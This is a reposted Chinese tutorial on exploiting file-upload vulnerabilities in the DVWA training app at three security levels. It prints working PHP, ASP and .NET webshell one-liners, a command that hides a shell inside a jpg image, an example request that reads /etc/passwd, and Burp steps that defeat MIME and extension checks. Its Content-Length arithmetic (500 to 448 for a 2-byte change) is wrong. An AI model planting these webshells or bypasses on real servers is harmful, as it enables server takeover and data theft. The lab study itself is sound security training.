DVWA漏洞演練平台 - 文件上傳


DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。

中國蟻劍的使用

本來想使用中國菜刀來演示WebShell的使用的,但中國菜刀太老了且不開源,還爆出過各種后門,所以筆者比較有陰影,這里我就使用中國蟻劍,中國蟻劍是一款開源的跨平台網站管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員,其使用方法和菜刀差不多而且跨平台。

蟻劍的安裝需要下載兩個文件,分別是加載器和源碼,如下代碼托管在了GitHub上:

> git clone https://github.com/AntSwordProject/antSword.git
> git clone https://github.com/AntSwordProject/AntSword-Loader.git

 下載好以后點擊加載器中的 AntSword.exe 程序然后選擇antSword源代碼,程序就可以正常工作了,接下來我們就來看下常用的WebShell小馬的寫法。

1.eval命令使用PHP系統中的函數

<?php eval($_REQUEST['cmd']); ?>

調用方式:http://lyshark.com/shell.php?cmd=phpinfo();

2.system命令使用Linux系統命令

# system 使用系統命令
<?php system($_REQUEST['cmd']); ?>

http://lyshark.com/shell.php?cmd=cat /etc/passwd

3.圖片木馬的制作,PHP為例,執行CMD命令后會在當前位置生成一個lyshark.jpg的圖片木馬

准備1: shell.php
准備2:shell.jpg
執行CMD命令: copy shell.jpg/b+shell.php  lyshark.jpg

4.中國蟻劍小馬的寫法

PHP: <?php  @eval($_POST['lyshark']); ?>
ASP:  <%eval request('lyshark') %>
.NET:<%@ Page Language="Jscript"%><%eval(Request.Item['lyshark'],"unsafe"); %>

 如上以PHP代碼為例,我們將其保存為shell.php然后上傳至PHP主機空間中,配置蟻劍,配置好以后我們直接點擊添加,就可以對網站進行管理了。

 拓展:在Linux系統中如果想要排查是否有惡意的后門可以使用:fgrep -R 'eval($_POST[' /var/www/  這條命令來排查。

 

DVWA 文件上傳:低安全級別

如下代碼就是DVWA低安全級別的代碼,可以看到代碼中並沒有對上傳的文件進行任何的過濾,有些Web應用會將上傳文件的過濾工作在前端用JS來實現,以為這樣可以減少服務器的負載,不過對於專業的技術人員來說,前端JS驗證的方式可以被輕松的繞過。前端JS驗證是用來糾正錯誤輸入的。

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";    // 指定上傳目錄
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // 獲取上傳文件名

    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

 

1.這里我們使用Brup來上傳一個簡單的 lyshark.jpg 文件,然后上傳途中使用Brup將其改為 shell.php ,首先Brup開啟抓包,然后回到Web應用上選擇 lyshark.jpg 圖片文件,點擊上傳按鈕,接着Brup會攔截這個請求。

 

2.然后我們需要修改Brup中的兩個參數,需要注意的是:在HTTP協議中有請求頭Content-Length它代表的是實體的正文長度,如果此時我們將文件名修改,也就意味着實體正文的長度增加或者減少了,所以也要修改請求頭的大小才能夠保證上傳成功。

上面的例子:我們將 lyshark.jpg 修改為了 shell.php ,也就是說正文的長度減少了2,所以在Content-Length長度上需要減去2,默認是500這里要改成448,然后放行就可以上傳成功了。

 

DVWA 文件上傳:中安全級別

隨着開發人員安全意識的提高,使用前端JS來驗證的方式越來越少,一般會將驗證環節放在服務端進行,相比於低安全級別來說,中安全級別代碼如下,可以看到該級別增加了MIME類型的驗證,開發人員經常會對MIME類型做驗證,從而保證上傳文件的可靠性,但這樣做還遠遠不夠,總還是可以被繞過。

 <?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&      // 判斷文件類型
        ( $uploaded_size < 100000 ) ) {

        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

 

1.首先使用Brup開啟抓包,然后回到Web頁面上,此時我們上傳一個 shell.php 然后點擊上傳,此時Brup攔截一個請求,通過觀察Content-Type參數可發現並不是一個圖片的格式,所以上傳會失敗。

 

2.我們將Content-Type修改成 image/jpeg 然后放行數據包,同樣的可以上傳成功,一般 GIF圖片格式為 image/gif,CSS格式為 text/css,PHP格式為 application/php。

 

DVWA 文件上傳:高安全級別

高安全級別的代碼如下,僅僅只是判斷文件的后綴,我們只需要制作一個圖片木馬。

<?php 
if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
}
?> 

 

1.制作木馬,直接上傳就好。

准備1: shell.php
准備2:shell.jpg
執行CMD命令: copy shell.jpg/b+shell.php  lyshark.jpg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM